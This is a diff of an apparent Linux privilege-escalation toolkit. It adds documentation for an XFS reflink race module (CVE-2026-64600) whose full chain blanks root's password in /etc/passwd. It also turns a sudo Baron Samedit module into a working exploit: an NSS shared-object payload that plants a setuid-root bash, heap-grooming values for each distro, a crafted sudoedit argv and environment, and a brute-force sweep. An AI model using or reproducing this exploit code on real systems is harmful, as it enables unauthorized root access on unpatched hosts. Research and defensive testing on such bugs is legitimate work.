- **Discovery and research** by the **Qualys Threat Research Unit (TRU)**,
|
||||||
|
published 2026-07-22 as "RefluXFS: A Linux Kernel Local Privilege Escalation
|
||||||
|
to Root in XFS (CVE-2026-64600)"
|
||||||
|
(<https://blog.qualys.com/vulnerabilities-threat-research/2026/07/22/refluxfs-a-linux-kernel-local-privilege-escalation-to-root-in-xfs-cve-2026-64600>),
|
||||||
|
authored by **Saeed Abbasi**, with the technical advisory at
|
||||||
|
<https://cdn2.qualys.com/advisory/2026/07/22/RefluXFS.txt> and the disclosure
|
||||||
|
posted to oss-security
|
||||||
|
(<https://www.openwall.com/lists/oss-security/2026/07/22/14>). The advisory
|
||||||
|
credits model-assisted kernel analysis performed with **Anthropic**.
|
||||||
|
Qualys demonstrated end-to-end root on **RHEL 10.2** by reflink-cloning
|
||||||
|
`/etc/passwd` into `/var/tmp` and racing concurrent direct-I/O writes to
|
||||||
|
rewrite it in place. SKELETONKEY's trigger reconstruction uses only the
|
||||||
|
published shape of that race — the reflink clone, the concurrent `O_DIRECT`
|
||||||
|
writers, and the `ftruncate`/`fdatasync` helpers that widen the window — and
|
||||||
|
reuses no exploitation code; it never targets a file it does not own.
|
||||||
|
- **Introduced** in **4.11** (2017-02) by commit `3c68d44a2b49` ("xfs: allocate
|
||||||
|
direct I/O COW blocks in iomap_begin").
|
||||||
|
- **Fixed upstream** by commit
|
||||||
|
`2f4acd0fcd862e22eab45690ec2c08c80b6ef2e7` ("xfs: resample the data fork
|
||||||
|
mapping after cycling ILOCK"), merged **2026-07-16** for **7.2-rc4**; stable
|
||||||
|
backports **7.1.4** (`e705d81a7193`), **6.18.39** (`206c09b04dc5`) and
|
||||||
|
**6.12.96** (`44f891bc0889`).
|
||||||
|
- Authoritative version data: the Linux kernel CNA record
|
||||||
|
(<https://cveawg.mitre.org/api/cve/CVE-2026-64600>,
|
||||||
|
`git.kernel.org/stable/c/<hash>`). The 6.6 / 6.1 / 5.15 / 5.14 / 5.10 / 4.19 /
|
||||||
|
4.18 LTS lines are affected with no upstream stable fix published at time of
|
||||||
|
writing; RHEL-family, Oracle UEK and Amazon vendor branches backport the fix
|
||||||
|
**without bumping the upstream base version**, so the vendor erratum
|
||||||
|
(RHSA / ELSA / ALSA / RLSA) — not `uname -r` — is authoritative there.
|
||||||
|
|
||||||
|
All credit for finding, analysing and exploiting this bug belongs to the Qualys
|
||||||
|
Threat Research Unit and to the upstream XFS maintainers who fixed it.
|
||||||
|
SKELETONKEY is the bundling and bookkeeping layer only.
|
||||||
|
|
||||||
|
## SKELETONKEY role
|
||||||
|
|
||||||
|
🟢 **Full chain (`--full-chain`), 🟡 safe trigger by default — VM-verified
|
||||||
|
end-to-end.** Confirmed 2026-07-23 on **Rocky Linux 9.8 /
|
||||||
|
`5.14.0-687.10.1.el9_8.0.1.x86_64`** (stock GenericCloud layout, root on XFS
|
||||||
|
with `reflink=1`) under qemu/KVM. `--exploit refluxfs --i-know --full-chain`
|
||||||
|
reflink-clones `/etc/passwd`, races the CoW window, strips root's password field
|
||||||
|
on-disk, evicts the stale page cache, and returns `EXPLOIT_OK`; `su root` (empty
|
||||||
|
password) then gives uid 0 — verified **3/3 wins** on a private-extent target
|
||||||
|
(1244 / 3716 / 7913 rounds, 4–30 s) as unprivileged `uid=1000` under SELinux
|
||||||
|
Enforcing, with every other passwd line preserved and the file backed up +
|
||||||
|
restorable. A key exploitability constraint surfaced in testing (not in the
|
||||||
|
public writeup): the target's extent must be **private** going in — an
|
||||||
|
already-reflink-shared file keeps a post-CoW refcount > 1 and is not attackable
|
||||||
|
via that target; normal admin churn (`useradd`/`passwd`/`vipw`) produces the
|
||||||
|
exploitable private-extent state. Without `--full-chain` the module runs a safe
|
||||||
|
own-files reachability trigger only (`EXPLOIT_FAIL`), deliberately under-driven
|
||||||
|
so a non-win is never read as "patched". See `MODULE.md` for the full result
|
||||||
|
tables. This is the corpus's first XFS
|
||||||
|
module and its first **data-oriented** kernel bug — every other kernel entry
|
||||||
|
corrupts memory; this one corrupts file contents.
|
||||||
|
|
||||||
|
`detect()` is a kernel-version gate over the three-branch backport table
|
||||||
|
(7.1.4 / 6.18.39 / 6.12.96, 7.2+ inherits mainline; introduced 4.11) **plus a
|
||||||
|
real precondition probe**: a writable directory on a mounted XFS filesystem,
|
||||||
|
identified by `statfs(2)` `f_type == XFS_SUPER_MAGIC` rather than by a working
|
||||||
|
`FICLONE`, since btrfs implements `FICLONE` too and is unaffected. Under
|
||||||
|
`--active` it confirms `reflink=1` empirically. Override with
|
||||||
|
`SKELETONKEY_XFS_ASSUME_REFLINK=1/0`. On rpm-family hosts it explicitly warns
|
||||||
|
that the upstream-version verdict cannot see a vendor backport.
|
||||||
|
|
||||||
|
`exploit()` forks an isolated child that works only inside a private `mkdtemp`
|
||||||
|
scratch directory, on two files it owns: it confirms a shared extent via
|
||||||
|
`FIEMAP_EXTENT_SHARED` (a safe, read-only observation of the refcount state the
|
||||||
|
bug misjudges), then races a hard-bounded 8 writers / 2 helpers / 16 rounds / 2 s
|
||||||
|
window and stops, reading the donor back with `O_DIRECT` to report divergence
|
||||||
|
honestly.
|
||||||
|
|
||||||
|
It is **deliberately under-driven** (the public PoC uses 32 writers and 8
|
||||||
|
helpers) and **never clones or targets a file it does not own**. The escalation
|
||||||
|
step — reflink-cloning a root-owned file such as `/etc/passwd` and racing writes
|
||||||
|
onto its shared blocks, then `su` — persistently rewrites a system file on disk
|
||||||
|
with no undo, and is documented in `MODULE.md` but **not bundled**. It always
|
||||||
|
returns `EXPLOIT_FAIL` and never claims root it did not get.
|
||||||
|
|
||||||
|
Unlike the corpus's other reconstructed race triggers, a won race here cannot
|
||||||
|
touch kernel memory: there is no oops, no KASAN report and no panic risk, and
|
||||||
|
the blast radius is 4 KiB of our own scratch file. That is why it ranks **55**
|
||||||
|
in `--auto` safety rather than at the bottom alongside `bad_epoll` (12) and
|
||||||
|
`ghostlock` (11).
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,12 @@
|
|||||||
|
/*
|
||||||
|
* refluxfs_cve_2026_64600 — SKELETONKEY module registry hook
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef REFLUXFS_SKELETONKEY_MODULES_H
|
||||||
|
#define REFLUXFS_SKELETONKEY_MODULES_H
|
||||||
|
|
||||||
|
#include "../../core/module.h"
|
||||||
|
|
||||||
|
extern const struct skeletonkey_module refluxfs_module;
|
||||||
|
|
||||||
|
#endif
|
||||||
@@ -1,34 +1,39 @@
|
|||||||
/*
|
/*
|
||||||
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
* sudo_samedit_cve_2021_3156 — SKELETONKEY module
|
||||||
*
|
*
|
||||||
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17).
|
* STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 /
|
||||||
|
* sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an
|
||||||
|
* unprivileged, non-sudoer user) lands uid=0 and plants a root-owned
|
||||||
|
* proof + setuid-root bash.
|
||||||
*
|
*
|
||||||
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
|
||||||
* parser unescapes backslashes in the argv it copies into a heap
|
* parser unescapes backslashes in the argv it copies into a heap buffer
|
||||||
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is
|
* in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s`
|
||||||
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop
|
* with an argument ending in a lone backslash, the unescape loop walks
|
||||||
* walks past the end of the argv string for arguments ending in a
|
* past the end of the argv string, copying adjacent env contents into an
|
||||||
* lone backslash, copying adjacent stack/env contents into the
|
* undersized heap buffer. The overflow is exploited (per blasty's PoC) to
|
||||||
* undersized heap buffer. The classic trigger is a single-argument
|
* overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's
|
||||||
* command line: `sudoedit -s '\<arbitrary tail>'`.
|
* an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its
|
||||||
|
* constructor runs while sudo is still root.
|
||||||
*
|
*
|
||||||
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2.
|
* Affects sudo 1.8.2 – 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by
|
||||||
|
* any local user (the overflow precedes the sudoers/password check).
|
||||||
*
|
*
|
||||||
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
|
||||||
* baron-samedit-heap-based-overflow-sudo.txt
|
* baron-samedit-heap-based-overflow-sudo.txt
|
||||||
|
* PoC technique: github.com/blasty/CVE-2021-3156
|
||||||
*
|
*
|
||||||
* Detect: shell out to `sudo --version`, parse the printed version,
|
* Detect: parse the sudo version (host fingerprint or `sudo --version`)
|
||||||
* compare against the vulnerable range. We err on the side of
|
* against the vulnerable range. Distro backports may patch without a
|
||||||
* reporting OK only when we're confident — TEST_ERROR if the version
|
* version bump, so a VULNERABLE verdict is "worth trying", confirmed only
|
||||||
* line is unparseable.
|
* by the exploit landing.
|
||||||
*
|
*
|
||||||
* Exploit: ships a structurally-correct Qualys-style trigger.
|
* Exploit: blasty's heap-grooming lengths (per libc family) drive the
|
||||||
* The full chain in the original PoC required per-distro heap-layout
|
* overflow; we compile the NSS payload on the target, run sudoedit with
|
||||||
* tuning (libc/libnss-files overlap offsets, target struct picks).
|
* the crafted argv/env from a CWD holding the payload, and confirm root
|
||||||
* We do not have empirical landing on this host; we drive the
|
* by stat()'ing the root-owned artifacts — never by self-report. If the
|
||||||
* trigger, watch for an obvious uid==0 outcome, otherwise return
|
* primary lengths miss (libc layout drift), we sweep null_stomp_len like
|
||||||
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim
|
* blasty's brute.sh until root or the range is exhausted.
|
||||||
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
#include "skeletonkey_modules.h"
|
#include "skeletonkey_modules.h"
|
||||||
@@ -42,26 +47,13 @@
|
|||||||
#include <errno.h>
|
#include <errno.h>
|
||||||
#include <fcntl.h>
|
#include <fcntl.h>
|
||||||
#include <ctype.h>
|
#include <ctype.h>
|
||||||
|
#include <signal.h>
|
||||||
#include <sys/stat.h>
|
#include <sys/stat.h>
|
||||||
#include <sys/wait.h>
|
#include <sys/wait.h>
|
||||||
#include <sys/types.h>
|
#include <sys/types.h>
|
||||||
|
|
||||||
/* ---- Affected-version logic ------------------------------------- */
|
/* ---- Affected-version logic ------------------------------------- */
|
||||||
|
|
||||||
/*
|
|
||||||
* sudo version strings look like:
|
|
||||||
* "Sudo version 1.9.5p2"
|
|
||||||
* "Sudo version 1.8.31"
|
|
||||||
* "Sudo version 1.9.0"
|
|
||||||
* "Sudo version 1.9.5p1"
|
|
||||||
*
|
|
||||||
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
|
|
||||||
* Fixed: 1.9.5p2 and later
|
|
||||||
*
|
|
||||||
* Parser strategy: extract three integers (major.minor.patch) plus an
|
|
||||||
* optional 'pN' suffix. Comparison is lexicographic over
|
|
||||||
* (major, minor, patch, p_suffix), treating absent p as 0.
|
|
||||||
*/
|
|
||||||
struct sudo_ver {
|
struct sudo_ver {
|
||||||
int major;
|
int major;
|
||||||
int minor;
|
int minor;
|
||||||
@@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s)
|
|||||||
v.major = maj;
|
v.major = maj;
|
||||||
v.minor = min;
|
v.minor = min;
|
||||||
v.patch = (n >= 3) ? pat : 0;
|
v.patch = (n >= 3) ? pat : 0;
|
||||||
/* Look for an optional 'pN' suffix after the numeric triple. */
|
|
||||||
const char *tail = s + consumed;
|
const char *tail = s + consumed;
|
||||||
if (*tail == 'p') {
|
if (*tail == 'p') {
|
||||||
int p = 0;
|
int p = 0;
|
||||||
@@ -115,18 +106,13 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v)
|
|||||||
static const char *find_sudo(void)
|
static const char *find_sudo(void)
|
||||||
{
|
{
|
||||||
static const char *candidates[] = {
|
static const char *candidates[] = {
|
||||||
"/usr/bin/sudo",
|
"/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo",
|
||||||
"/usr/local/bin/sudo",
|
"/sbin/sudo", "/usr/sbin/sudo", NULL,
|
||||||
"/bin/sudo",
|
|
||||||
"/sbin/sudo",
|
|
||||||
"/usr/sbin/sudo",
|
|
||||||
NULL,
|
|
||||||
};
|
};
|
||||||
for (size_t i = 0; candidates[i]; i++) {
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
struct stat st;
|
struct stat st;
|
||||||
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) {
|
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
|
||||||
return candidates[i];
|
return candidates[i];
|
||||||
}
|
|
||||||
}
|
}
|
||||||
return NULL;
|
return NULL;
|
||||||
}
|
}
|
||||||
@@ -134,12 +120,8 @@ static const char *find_sudo(void)
|
|||||||
static const char *find_sudoedit(void)
|
static const char *find_sudoedit(void)
|
||||||
{
|
{
|
||||||
static const char *candidates[] = {
|
static const char *candidates[] = {
|
||||||
"/usr/bin/sudoedit",
|
"/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit",
|
||||||
"/usr/local/bin/sudoedit",
|
"/sbin/sudoedit", "/usr/sbin/sudoedit", NULL,
|
||||||
"/bin/sudoedit",
|
|
||||||
"/sbin/sudoedit",
|
|
||||||
"/usr/sbin/sudoedit",
|
|
||||||
NULL,
|
|
||||||
};
|
};
|
||||||
for (size_t i = 0; candidates[i]; i++) {
|
for (size_t i = 0; candidates[i]; i++) {
|
||||||
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
if (access(candidates[i], X_OK) == 0) return candidates[i];
|
||||||
@@ -151,30 +133,21 @@ static const char *find_sudoedit(void)
|
|||||||
|
|
||||||
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
/* Prefer the centrally-fingerprinted sudo version (populated once
|
|
||||||
* at startup by core/host.c) — saves a popen per scan and gives
|
|
||||||
* unit tests a clean mock point. Fall back to the local popen if
|
|
||||||
* ctx->host is missing the version (e.g. degenerate test ctx, or
|
|
||||||
* a future refactor that disables userspace probing). */
|
|
||||||
char line[256] = {0};
|
char line[256] = {0};
|
||||||
if (ctx->host && ctx->host->sudo_version[0]) {
|
if (ctx->host && ctx->host->sudo_version[0]) {
|
||||||
snprintf(line, sizeof line, "Sudo version %s",
|
snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version);
|
||||||
ctx->host->sudo_version);
|
if (!ctx->json)
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
|
||||||
"sudo version %s\n", ctx->host->sudo_version);
|
"sudo version %s\n", ctx->host->sudo_version);
|
||||||
}
|
|
||||||
} else {
|
} else {
|
||||||
const char *sudo_path = find_sudo();
|
const char *sudo_path = find_sudo();
|
||||||
if (!sudo_path) {
|
if (!sudo_path) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
|
||||||
}
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
|
||||||
}
|
|
||||||
char cmd[512];
|
char cmd[512];
|
||||||
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
|
||||||
FILE *p = popen(cmd, "r");
|
FILE *p = popen(cmd, "r");
|
||||||
@@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
|
|||||||
char *r = fgets(line, sizeof line, p);
|
char *r = fgets(line, sizeof line, p);
|
||||||
pclose(p);
|
pclose(p);
|
||||||
if (!r) {
|
if (!r) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
|
||||||
}
|
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Trim newline for nicer logging. */
|
|
||||||
char *nl = strchr(line, '\n');
|
char *nl = strchr(line, '\n');
|
||||||
if (nl) *nl = 0;
|
if (nl) *nl = 0;
|
||||||
|
|
||||||
struct sudo_ver v = parse_sudo_version(line);
|
struct sudo_ver v = parse_sudo_version(line);
|
||||||
if (!v.parsed) {
|
if (!v.parsed) {
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
|
||||||
}
|
|
||||||
return SKELETONKEY_TEST_ERROR;
|
return SKELETONKEY_TEST_ERROR;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
|
|||||||
fprintf(stderr, "\n");
|
fprintf(stderr, "\n");
|
||||||
}
|
}
|
||||||
|
|
||||||
bool vuln = sudo_version_vulnerable(&v);
|
if (sudo_version_vulnerable(&v)) {
|
||||||
if (vuln) {
|
if (!ctx->json)
|
||||||
if (!ctx->json) {
|
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[!] sudo_samedit: version is in vulnerable range "
|
"[!] sudo_samedit: version is in vulnerable range "
|
||||||
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
"[1.8.2, 1.9.5p1] → VULNERABLE\n"
|
||||||
"[i] sudo_samedit: distro backports may have patched "
|
"[i] sudo_samedit: distro backports may have patched "
|
||||||
"without bumping the upstream version; check\n"
|
"without bumping the upstream version; check\n"
|
||||||
" `apt-cache policy sudo` / `rpm -q --changelog sudo` "
|
" `apt-cache policy sudo` for CVE-2021-3156.\n");
|
||||||
"for CVE-2021-3156.\n");
|
|
||||||
}
|
|
||||||
return SKELETONKEY_VULNERABLE;
|
return SKELETONKEY_VULNERABLE;
|
||||||
}
|
}
|
||||||
if (!ctx->json) {
|
if (!ctx->json)
|
||||||
fprintf(stderr,
|
fprintf(stderr,
|
||||||
"[+] sudo_samedit: version is outside vulnerable range "
|
"[+] sudo_samedit: version is outside vulnerable range "
|
||||||
"(fix 1.9.5p2+) — OK\n");
|
"(fix 1.9.5p2+) — OK\n");
|
||||||
}
|
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* ---- Exploit ----------------------------------------------------- */
|
/* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */
|
||||||
|
|
||||||
/*
|
/* NSS payload source, compiled on the target into
|
||||||
* Qualys-style trigger:
|
* <workdir>/libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo
|
||||||
*
|
* is still root (the corrupted NSS lookup dlopen's it); it plants a
|
||||||
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to
|
* root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are
|
||||||
* stretch the heap chunk to the right size for the target overlap.
|
* passed at compile time (the process env is the exploit vector, so we
|
||||||
*
|
* can't smuggle paths through it). */
|
||||||
* The original PoC sprays hundreds of large argv slots and tunes the
|
static const char samedit_payload_src[] =
|
||||||
* tail bytes per-distro to hijack a `service_user *` struct in
|
"#define _GNU_SOURCE\n"
|
||||||
* libnss-files. Without distro fingerprinting and the corresponding
|
"#include <unistd.h>\n"
|
||||||
* offset table that landing simply will not happen here; rather than
|
"#include <stdlib.h>\n"
|
||||||
* pretending otherwise we drive the bug, fork a verifier that checks
|
"static void __attribute__((constructor)) _sk_init(void);\n"
|
||||||
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL.
|
"static void _sk_init(void){\n"
|
||||||
*/
|
" setuid(0); seteuid(0); setgid(0); setegid(0);\n"
|
||||||
|
" if (geteuid()!=0) return; /* brute miss — don't drop */\n"
|
||||||
|
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
|
||||||
|
" \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n"
|
||||||
|
" \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n"
|
||||||
|
" \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n"
|
||||||
|
" _exit(0);\n"
|
||||||
|
"}\n";
|
||||||
|
|
||||||
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower
|
/* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share
|
||||||
* to stay well under typical ARG_MAX while still exercising the bug
|
* one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */
|
||||||
* shape. */
|
struct samedit_target {
|
||||||
#define SUDO_SAMEDIT_ARGC 64
|
const char *name;
|
||||||
#define SUDO_SAMEDIT_PADLEN 0xff
|
int smash_a, smash_b, null_stomp, lc_all;
|
||||||
|
};
|
||||||
|
static const struct samedit_target samedit_ubuntu = {
|
||||||
|
"Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212
|
||||||
|
};
|
||||||
|
static const struct samedit_target samedit_debian = {
|
||||||
|
"Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214
|
||||||
|
};
|
||||||
|
|
||||||
|
static const char *samedit_find_cc(void)
|
||||||
|
{
|
||||||
|
static const char *ccs[] = {
|
||||||
|
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
|
||||||
|
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
|
||||||
|
};
|
||||||
|
for (size_t i = 0; ccs[i]; i++)
|
||||||
|
if (access(ccs[i], X_OK) == 0) return ccs[i];
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* fork/exec argv, redirect stdio away, wait with a timeout. */
|
||||||
|
static int samedit_run(char *const argv[], const char *cwd, int secs)
|
||||||
|
{
|
||||||
|
pid_t p = fork();
|
||||||
|
if (p < 0) return -1;
|
||||||
|
if (p == 0) {
|
||||||
|
if (cwd && chdir(cwd) != 0) _exit(126);
|
||||||
|
int dn = open("/dev/null", O_RDWR);
|
||||||
|
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
|
||||||
|
execv(argv[0], argv);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
for (int i = 0; i < secs * 20; i++) {
|
||||||
|
int st;
|
||||||
|
pid_t r = waitpid(p, &st, WNOHANG);
|
||||||
|
if (r == p) return 0;
|
||||||
|
if (r < 0) return -1;
|
||||||
|
usleep(50 * 1000);
|
||||||
|
}
|
||||||
|
kill(p, SIGKILL);
|
||||||
|
waitpid(p, NULL, 0);
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Run one sudoedit attempt with the given grooming lengths; returns true
|
||||||
|
* iff the OOB proof file now exists and is root-owned. */
|
||||||
|
static bool samedit_try(const char *sudoedit, const char *workdir,
|
||||||
|
int a, int b, int null_stomp, int lc_all,
|
||||||
|
const char *proof)
|
||||||
|
{
|
||||||
|
unlink(proof);
|
||||||
|
|
||||||
|
char *smash_a = calloc(a + 2, 1);
|
||||||
|
char *smash_b = calloc(b + 2, 1);
|
||||||
|
char *lc = calloc(lc_all + 32, 1);
|
||||||
|
if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; }
|
||||||
|
memset(smash_a, 'A', a); smash_a[a] = '\\';
|
||||||
|
memset(smash_b, 'B', b); smash_b[b] = '\\';
|
||||||
|
strcpy(lc, "LC_ALL=C.UTF-8@");
|
||||||
|
memset(lc + 15, 'C', lc_all);
|
||||||
|
|
||||||
|
char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a,
|
||||||
|
(char *)"\\", smash_b, NULL };
|
||||||
|
|
||||||
|
/* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */
|
||||||
|
char **s_envp = calloc(null_stomp + 4, sizeof(char *));
|
||||||
|
if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; }
|
||||||
|
int pos = 0;
|
||||||
|
for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\";
|
||||||
|
s_envp[pos++] = (char *)"X/P0P_SH3LLZ_";
|
||||||
|
s_envp[pos++] = lc;
|
||||||
|
s_envp[pos++] = NULL;
|
||||||
|
|
||||||
|
/* We need a custom envp, so exec directly here in a child. */
|
||||||
|
pid_t p = fork();
|
||||||
|
if (p == 0) {
|
||||||
|
if (chdir(workdir) != 0) _exit(126);
|
||||||
|
int dn = open("/dev/null", O_RDWR);
|
||||||
|
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
|
||||||
|
execve(sudoedit, s_argv, s_envp);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
if (p > 0) {
|
||||||
|
for (int i = 0; i < 20 * 20; i++) { /* up to ~20s */
|
||||||
|
int st; pid_t r = waitpid(p, &st, WNOHANG);
|
||||||
|
if (r == p) break;
|
||||||
|
if (r < 0) break;
|
||||||
|
usleep(50 * 1000);
|
||||||
|
}
|
||||||
|
int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); }
|
||||||
|
}
|
||||||
|
|
||||||
|
free(smash_a); free(smash_b); free(lc); free(s_envp);
|
||||||
|
|
||||||
|
struct stat sb;
|
||||||
|
return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
/* Remember what we planted / where, for cleanup(). */
|
||||||
|
static char samedit_workdir[256];
|
||||||
|
static char samedit_rootbash[256];
|
||||||
|
static char samedit_proof[256];
|
||||||
|
|
||||||
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
if (!ctx->authorized) {
|
if (!ctx->authorized) {
|
||||||
fprintf(stderr,
|
fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
||||||
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
|
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||||
if (is_root) {
|
if (is_root) {
|
||||||
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
|
||||||
return SKELETONKEY_OK;
|
return SKELETONKEY_OK;
|
||||||
}
|
}
|
||||||
|
|
||||||
/* Re-detect before doing anything visible. Defends against the
|
|
||||||
* detect-then-exploit TOCTOU where the operator upgrades sudo
|
|
||||||
* between scan and pop. */
|
|
||||||
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
skeletonkey_result_t pre = sudo_samedit_detect(ctx);
|
||||||
if (pre != SKELETONKEY_VULNERABLE) {
|
if (pre != SKELETONKEY_VULNERABLE) {
|
||||||
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
|
||||||
@@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
|
|||||||
|
|
||||||
const char *sudoedit = find_sudoedit();
|
const char *sudoedit = find_sudoedit();
|
||||||
if (!sudoedit) {
|
if (!sudoedit) {
|
||||||
/* On most distros sudoedit is a symlink to sudo. Fall back. */
|
fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n");
|
||||||
const char *sudo = find_sudo();
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
if (!sudo) {
|
}
|
||||||
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n");
|
const char *cc = samedit_find_cc();
|
||||||
return SKELETONKEY_PRECOND_FAIL;
|
if (!cc) {
|
||||||
}
|
fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS "
|
||||||
sudoedit = sudo;
|
"payload. Honest EXPLOIT_FAIL.\n");
|
||||||
if (!ctx->json) {
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
fprintf(stderr,
|
|
||||||
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
|
|
||||||
sudo);
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
